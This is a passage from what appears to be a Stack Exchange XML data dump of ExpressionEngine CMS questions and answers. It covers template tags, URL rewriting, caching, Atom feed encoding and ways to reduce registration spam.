  <row Id="5094" PostTypeId="2" ParentId="5092" CreationDate="2013-01-19T13:35:54.813" Score="3" Body="&lt;p&gt;This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:product_inventory=&quot;=not 0|IS_EMPTY&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key is the equals sign immediately preceding not, and IS_EMPTY at the end (the order seems important for some reason)&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-01-19T13:35:54.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5095" PostTypeId="1" AcceptedAnswerId="5108" CreationDate="2013-01-19T14:03:05.990" Score="1" ViewCount="115" Body="&lt;p&gt;Here's the situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom field named {article} that contains and outputs formatted articles.&#xA;I would like to be able to &lt;strong&gt;modify&lt;/strong&gt; that {article} variable before it outputs in the template.&#xA;To be specific, I would like to insert an Adsense ad after the first paragraph of each article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in any way shape or form? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback and/or help is appreciated...&lt;/p&gt;&#xA;" OwnerUserId="569" LastEditorUserId="569" LastEditDate="2013-01-19T14:09:52.183" LastActivityDate="2013-04-29T18:15:00.637" Title="Can I Modify Custom Field Variables Before Output?" Tags="|custom-fields|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5096" PostTypeId="1" AcceptedAnswerId="5112" CreationDate="2013-01-19T15:41:51.277" Score="2" ViewCount="826" Body="&lt;p&gt;I have dealt with spam problems previously with some valuable help from this forum but I've got a site that is suffering with registration spam at the moment and no matter what I try, nothing seems to reduce it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have tried;&#xA;Standard EE CAPTCHA&#xA;Then added a honeypot&#xA;Then changed the CAPTCHA to Use ReCAPTCHA&#xA;Finally added Low Anti Spam and hooked it up with Akismet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with all that the site is still getting registration spam so I'm wondering if there's some URL that I've forgotten about that provides a registration form or some means by which a spammer can bypass the anti-spam measures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's the registration form in case anyone has any ideas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pccs-books[dot]co[dot]uk[slash]pccs-register&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I had thought I'd cracked this but noticed that Low No Spam was blocking any attempt I made to create an account (though I think this was an Akismet issue - I can't find the Typepad API registration page anymore).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have removed Low No Spam for now and added MX Stop Spam, Barricade and also changed the URL of the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does look like spam registrations are getting thrown straight into the &quot;Banned&quot; group however my client is more concerned about the flood of notifications they get (they don't seem to want to simply turn notifications off). So I am still trying to find a way to just stop the form being filled in by spammers. I realise this is a big ask and the harder you make it the less likely real people will register but I'd be grateful for any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-01-20T12:03:57.217" LastActivityDate="2013-01-20T14:13:57.007" Title="Registration spam possible attack vectors" Tags="|url|registration|spam|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5097" PostTypeId="2" ParentId="5095" CreationDate="2013-01-19T15:51:23.303" Score="2" Body="&lt;p&gt;One way you could do this is to use &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;, using a regular expression to insert the ad after the first closing &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tag, or a comment added to the markup &lt;code&gt;&amp;lt;!-- ad-here --&amp;gt;&lt;/code&gt;. You can do this right from the template without any need to get into PHP, assuming there's a consistent way to identify the insertion point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: You also have the option of enabling PHP for the template (probably on output) and doing the same thing without using an add-on.&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-01-19T15:51:23.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5098" PostTypeId="1" AcceptedAnswerId="5105" CreationDate="2013-01-19T16:43:38.343" Score="0" ViewCount="287" Body="&lt;p&gt;I am using Structure and Freebie on a recent project. I have a root-level page in Structure called “Supernav” with five sub-pages (Students, Parents, Faculty, Alumni, Galleries). When visiting any one of these subpages I would like to remove the root-level segment — in this case “/supernav/” — from the URL so it just looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://website.com/students/&#xA;http://website.com/parents/&#xA;http://website.com/faculty/&#xA;http://website.com/alumni/&#xA;http://website.com/galleries/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the life of me I can’t figure out how to do this with Freebie. Any suggestions? Appreciate any help I can get.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-01-19T18:00:26.437" Title="Removing root-level segment with Structure and Freebie" Tags="|url|structure|segments|freebie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5099" PostTypeId="1" AcceptedAnswerId="5118" CreationDate="2013-01-19T16:56:32.623" Score="1" ViewCount="53" Body="&lt;p&gt;I'm trying to create a dropdown filter based off a custom field in channel entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot;}&#xA;&#xA;  {!-- Build the complete listing --}&#xA;  {exp:stash:append name=&quot;listing&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink='events/detail'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:stash:append}&#xA;&#xA;  {!-- Build the dropdown filter options. This is what I want to contain unique values --}&#xA;  {exp:stash:append name=&quot;locations&quot;}&#xA;    &amp;lt;option&amp;gt;{event_location}&amp;lt;/option&amp;gt;&#xA;  {/exp:stash:append}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;select&amp;gt;&#xA;  {exp:stash:get name=&quot;locations&quot;}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;  {exp:stash:get name=&quot;listing&quot;}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might output something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;  &amp;lt;option&amp;gt;USA&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option&amp;gt;USA&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option&amp;gt;Australia&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option&amp;gt;Canada&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;First US Event&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;Second US Event&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;Australian Event&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;Canadian Event&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I want the values in the &lt;code&gt;{exp:stash:get name=&quot;locations&quot;}&lt;/code&gt; to only be output once.&lt;br&gt;&#xA;ie. USA once, not twice.&lt;br&gt;&#xA;Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;Turns out it does what I wanted on its own in the code I posted.&lt;br&gt;&#xA;However my &lt;em&gt;actual&lt;/em&gt; code had a &lt;code&gt;{count}&lt;/code&gt; variable thrown in for testing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append name=&quot;locations&quot;}&#xA;  &amp;lt;option&amp;gt;{count} - {event_location}&amp;lt;/option&amp;gt;&#xA;{/exp:stash:append}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{count}&lt;/code&gt; made each row unique.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-01-19T21:24:18.093" LastActivityDate="2013-01-20T01:25:47.217" Title="Deduplicating stash output" Tags="|add-on|stash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5100" PostTypeId="1" CreationDate="2013-01-19T17:02:17.957" Score="3" ViewCount="285" Body="&lt;p&gt;I’ve discovered a tricky question about parse order and low variables I’ve run into.  This is a code base I’ve inherited, so I’m not sure how best to handle.  (My apologies in advance; I am neither an EE nor a LV expert.)  Any thoughts you have would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 ==“books”}&#xA;  {Generate list of books here—lots of heavy SQL}&#xA;    {if no_results}&#xA;  sorry, no books found&#xA;  {/if}&#xA;{lv_classic_display}  // This is a template for what we want to display for each book&#xA;{/if}&#xA;&#xA;{if segment_2 == “authors”}&#xA;  ... same as above, but SQL pulls up authors&#xA;&#xA;{if segment_3 == “publishers”}&#xA;  ... same as above, but SQL pulls up publishers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I’m having is that the SQL stuff is being executed for ALL options on the page.  So, even if my segment_2 = “publishers”, it is still running the full SQL for pulling up all authors, and for pulling up all books, in addition to for publishers.  The stuff is never displayed on the page, because of the IF statements in there, but the SQL is causing a major performance drag.  It’s running hundreds of unnecessary queries in the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the {lv_classic_display}, the SQL does not execute.  So it appears to me that the inclusion of the low variable is forcing the loop around it to execute BEFORE the IF statement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Early Parsing is turned on on the site—and I don’t think I can turn that off.  Is there a way for me to modify this to prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the alternate syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=“lv_classic_display”}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and while that DOES eliminate the database queries, it also outputs just the { } code, rather than executing it.  So for each book my output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{ml_author_name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{ml_screen_name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for how I might be able to adjust this?  The performance on this page is getting killed by these silent SQL queries running in the background that aren’t ever going to get displayed….&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave V.&lt;/p&gt;&#xA;" OwnerUserId="851" LastEditorUserId="28" LastEditDate="2013-01-19T18:11:32.017" LastActivityDate="2013-01-20T08:47:29.597" Title="Low Variable and conditional logic generating silent database queries" Tags="|database|performance|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5101" PostTypeId="2" ParentId="5095" CreationDate="2013-01-19T17:28:58.120" Score="1" Body="&lt;p&gt;My answer was terrible! But I'm not going to delete it. Might help someone inserting without scripts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can use jQuery with &lt;strike&gt;[&lt;strong&gt;.insertBefore()&lt;/strong&gt;]&lt;/strike&gt; &lt;a href=&quot;http://api.jquery.com/insertAfter/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;.insertAfter()&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;article&quot;&amp;gt;&#xA;    {article}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;$('AD CODE HERE').insertAfter('.article p:first-child');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change single quotes to double quotes in your AD CODE or change single quotes in my JS example to double quotes and have all your AD CODE use single quotes.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-20T18:27:15.263" LastActivityDate="2013-01-20T18:27:15.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5102" PostTypeId="2" ParentId="5100" CreationDate="2013-01-19T17:46:06.190" Score="1" Body="&lt;p&gt;Use the &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt; add-on to prevent the unresolved conditionals from being executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you really have to do is wrap all your conditionals with &lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}{/exp:ifelse}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-19T17:46:06.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5103" PostTypeId="2" ParentId="5096" CreationDate="2013-01-19T17:49:45.787" Score="0" Body="&lt;p&gt;Some ideas to try...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strike&gt;Remove all footprints in the registration and forum templates as&#xA;&lt;a href=&quot;http://www.capelinks.com/blog/fighting-member-registration-spam-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;per this article&lt;/strong&gt;&lt;/a&gt;.&lt;/strike&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strike&gt;If you are using a custom registration form in an EE template, remove the one in the forum header so all your registrations go through the custom form. It's possible the one in the forum isn't using your captcha methods.&lt;/strike&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Snaptcha&lt;/strong&gt;&lt;/a&gt; addon. Lots of regular positive feedback for this addon via Twitter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the location of the registration template you have in&#xA;place to a new URL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strike&gt;Change the forum trigger word to something new&lt;/strike&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checkout this addon, &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-stop-spammers&quot; rel=&quot;nofollow&quot;&gt;MX Stop Spammers&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this addon, &lt;a href=&quot;http://devot-ee.com/add-ons/members1&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Members&lt;/strong&gt;&lt;/a&gt;, to easily spot spammers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take a look at &lt;a href=&quot;http://projectcerberus.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Project Cerberus&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-19T17:54:59.510" LastActivityDate="2013-01-19T17:54:59.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5104" PostTypeId="1" AcceptedAnswerId="5107" CreationDate="2013-01-19T17:54:11.243" Score="3" ViewCount="185" Body="&lt;p&gt;I'm developing a slideshow feature for a client where they enter entries into a particular weblog (the site is running on EE 1.7x) and set entry and expiration dates on each entry to determine when they start and stop displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, the client could add two entries -- &quot;Entry A&quot; and &quot;Entry B&quot; -- and give them different expiration dates, so that &quot;Entry A&quot; will stop displaying and allow &quot;Entry B&quot; to display. (Only one entry will be displayed at any given time.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a jQuery script that will count down to the expiration date for &quot;Entry A&quot;. When the countdown reaches 0, it reloads the page, and then &quot;Entry B&quot; will be displayed. (There's probably a more elegant way to handle the refresh, but I wanted to keep things simple initially.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that isn't what happens. Even after &quot;Entry A&quot; has expired, which should stop it from displaying, and the page reloads, &quot;Entry A&quot; still displays instead of &quot;Entry B&quot;. &quot;Entry B&quot; doesn't display until I go into the CP and clear all of the caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code that I'm using to display the entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;foo&quot; status=&quot;spotlight&quot; dynamic=&quot;off&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; show_expired=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Am I handling/treating the expired entries correctly? Or is my understanding flawed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If this is a caching issue, is there a way to disable &lt;strong&gt;all&lt;/strong&gt; caching for this particular page? I've disabled all of the caching that I can in the CP, and yet, something is still obviously being cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If there's no way to completely disable caching, is there a third-party add-on that lets you clear caching on the front-end via, say, a special URL, e.g., &lt;a href=&quot;http://www.domain.com/?cache-refresh=1&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/?cache-refresh=1&lt;/a&gt; (I know there are some performance implications here, but I'm kind of at wit's end right now.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="567" LastEditorUserId="810" LastEditDate="2013-01-19T18:30:35.033" LastActivityDate="2013-01-23T16:48:58.163" Title="Entries still displaying after their expiration date has passed, possible cache issues?" Tags="|ee1|caching|expire|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5105" PostTypeId="2" ParentId="5098" CreationDate="2013-01-19T18:00:26.437" Score="4" Body="&lt;p&gt;Try doing this in your .htaccess file. This &lt;strong&gt;&lt;a href=&quot;https://stackoverflow.com/a/4823930/135935&quot;&gt;StackOverflow answer&lt;/a&gt;&lt;/strong&gt; shows how. Something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteBase /&#xA;&#xA;RewriteRule ^/(students|parents|faculty|alumni|galleries)/(.+)$ /$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow noreferrer&quot;&gt;Router&lt;/a&gt;&lt;/strong&gt; addon may also work for you.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Router is a regular expression based routing system for ExpressionEngine requests. It allows you to define any custom URL route you like, without needing to worry about template naming and without using large conditional checks.&lt;/p&gt;&#xA;&lt;p&gt;Router will automatically include the correct template for you, based on which of your regex patterns match the current URL. This can help avoid massive conditional {if} trees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-19T18:00:26.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5106" PostTypeId="2" ParentId="5099" CreationDate="2013-01-19T18:10:52.313" Score="0" Body="&lt;p&gt;You can use a query to do this instead of the channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT field_id_1 as location FROM exp_channel_data WHERE channel_id = '2'&quot;}&#xA;    {exp:stash:append name=&quot;locations&quot;}&#xA;            &amp;lt;option&amp;gt;{location}&amp;lt;/option&amp;gt;&#xA;    {/exp:stash:append}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;channel_id&lt;/code&gt; to match the ID of your events channel and &lt;code&gt;field_id_1&lt;/code&gt; to match your location field ID&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-19T18:10:52.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5107" PostTypeId="2" ParentId="5104" CreationDate="2013-01-19T18:17:53.977" Score="1" Body="&lt;p&gt;Make sure &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#cache-dynamic-channel-queries&quot; rel=&quot;nofollow&quot;&gt;Cache Dynamic Channel Queries?&lt;/a&gt;&lt;/strong&gt; is turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature is found under Admin ‣ Channel Administration ‣ Global Preferences.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Make sure you aren't using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/caching.html#tag-caching&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;tag caching&lt;/strong&gt;&lt;/a&gt; in the template. The code will look like this &lt;code&gt;cache=&quot;yes&quot; refresh=&quot;10&quot;&lt;/code&gt; and will be on your channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It's possible this might also be caused by your browser cache. You can test this by adding the following to your header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;META HTTP-EQUIV=&quot;Pragma&quot; CONTENT=&quot;no-cache&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is no way that I know to trigger cache clearing with the URL. But you could probably write an addon to do it. The core code for cache clearing is here: /system/expressionengine/libraries/functions.php. Line 1138 in EE v2.5.5, &lt;code&gt;function clear_caching()&lt;/code&gt;. That's about as much direction as I can give you on this topic. I don't know offhand where the code is in EE1 but it shouldn't be too hard to find with a little searching. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-23T16:48:58.163" LastActivityDate="2013-01-23T16:48:58.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5108" PostTypeId="2" ParentId="5095" CreationDate="2013-01-19T18:21:41.360" Score="2" Body="&lt;p&gt;Hop Studios &lt;a href=&quot;http://www.hopstudios.com/software/hop_inject&quot; rel=&quot;nofollow&quot;&gt;Hop Inject&lt;/a&gt; was created primarily for that purpose. It can be used for other times when you need to inject things within content. I haven't used it, our clients don't run ads. But have heard good things about, including it's ease of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;, you'd have to insert code/text that would be replaced. &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-19T18:21:41.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5109" PostTypeId="2" ParentId="5099" CreationDate="2013-01-19T18:45:01.953" Score="1" Body="&lt;p&gt;If you can use the &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; tag pair you have access to the &lt;code&gt;unique=&quot;yes&quot;&lt;/code&gt; &lt;strong&gt;&lt;a href=&quot;https://github.com/croxton/Stash#unique--yesno&quot; rel=&quot;nofollow&quot;&gt;parameter&lt;/a&gt;&lt;/strong&gt;. Might try it on the &lt;code&gt;exp:stash:get&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-19T18:45:01.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5110" PostTypeId="1" CreationDate="2013-01-19T18:49:24.233" Score="1" ViewCount="618" Body="&lt;p&gt;When publishing my Atom feed, quotation marks are being converted to HTML entities and being output without conversion back to the character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article title: &lt;code&gt;What's New Today!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output in Atom feed as: &lt;code&gt;What&amp;amp;#8217;s New Today!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created my Atom feed based off of the Atom feed examples in the EE documentation.&lt;/p&gt;&#xA;" OwnerUserId="524" LastEditorUserId="524" LastEditDate="2013-01-20T20:24:28.550" LastActivityDate="2013-01-20T20:24:28.550" Title="RSS / Atom feed is outputting encoded entities instead of quotes in titles" Tags="|html-entities|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5111" PostTypeId="2" ParentId="5110" CreationDate="2013-01-19T18:49:24.233" Score="5" Body="&lt;p&gt;The issue here is that the EE example feed encloses the title between CDATA tags, which instructs the feed reader to ignore any entities in that text and output it exactly as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution to this is to replace this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;![CDATA[{title}]]&amp;gt;&amp;lt;/title&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are two places to do this if you're starting from the example feed. Also note that the &quot;Agile Records&quot; example feed &lt;em&gt;does&lt;/em&gt; use the correct method, and it appears that the use of CDATA in the documentation example is an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the forum post where I found this info: &lt;a href=&quot;http://ellislab.com/forums/viewthread/220237/&quot;&gt;http://ellislab.com/forums/viewthread/220237/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2013-01-19T18:49:24.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5112" PostTypeId="2" ParentId="5096" CreationDate="2013-01-19T19:40:25.073" Score="6" Body="&lt;p&gt;You've taken some good steps. While it's possible to stop all registration spam, you can probably reduce it a fair amount. One thing I notice is your registration url is very easy to get to. Most automated spam registration scripts/bots will easily be able to guess &lt;code&gt;/register&lt;/code&gt; as a link. Having something slightly more obscure could help, like &lt;code&gt;/book-lovers/register&lt;/code&gt; or maybe even &lt;code&gt;/pccs-register&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer &lt;a href=&quot;http://devot-ee.com/add-ons/recaptcha&quot; rel=&quot;nofollow&quot;&gt;ReCAPTCHA&lt;/a&gt; to ExpressionEngine's built-in CAPTCHA system, but generally speaking try to avoid captchas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://gotolow.com/addons/low-nospam&quot; rel=&quot;nofollow&quot;&gt;Low NoSpam&lt;/a&gt;, I'd say also take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/barricade&quot; rel=&quot;nofollow&quot;&gt;Barricade&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blacklist Module and your .htaccess file can also help in these battles. We use the &lt;a href=&quot;http://perishablepress.com/5g-blacklist-2013/&quot; rel=&quot;nofollow&quot;&gt;5G Blacklist&lt;/a&gt; updated annually by Perishable Press. It's chocked full of goodness, but be careful, you may have to comment out some rules that interfere with your set-ups behavior. For example: we modify this statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 403 (\,|//|\)\+|/\,/|\{0\}|\(/\(|\.\.\.|\+\+\+|\||\\\&quot;\\\&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the statement that disallows commas in the url, since we use Tags, and want to allow 2 or 3 combinations, but NOT unlimited combinations. The biggest boost this provided is just not allowing known spam bots to even hit the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cloudflare.com&quot; rel=&quot;nofollow&quot;&gt;CloudFlare&lt;/a&gt; is also good for this as well. It provides an all around extra security boots for the site, while improving site speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure Blacklist is properly configured, that you look into the 5G Blacklist, and potentially use a CDN like Cloudflare as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, a lot more registration spam these days are created by actual people, who've created real email addresses. The get paid through services like Amazon Mechanical Turk to complete registration forms. It's still spam, but powers through CAPTCHA's, challenges, and other prevention methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this article on &lt;a 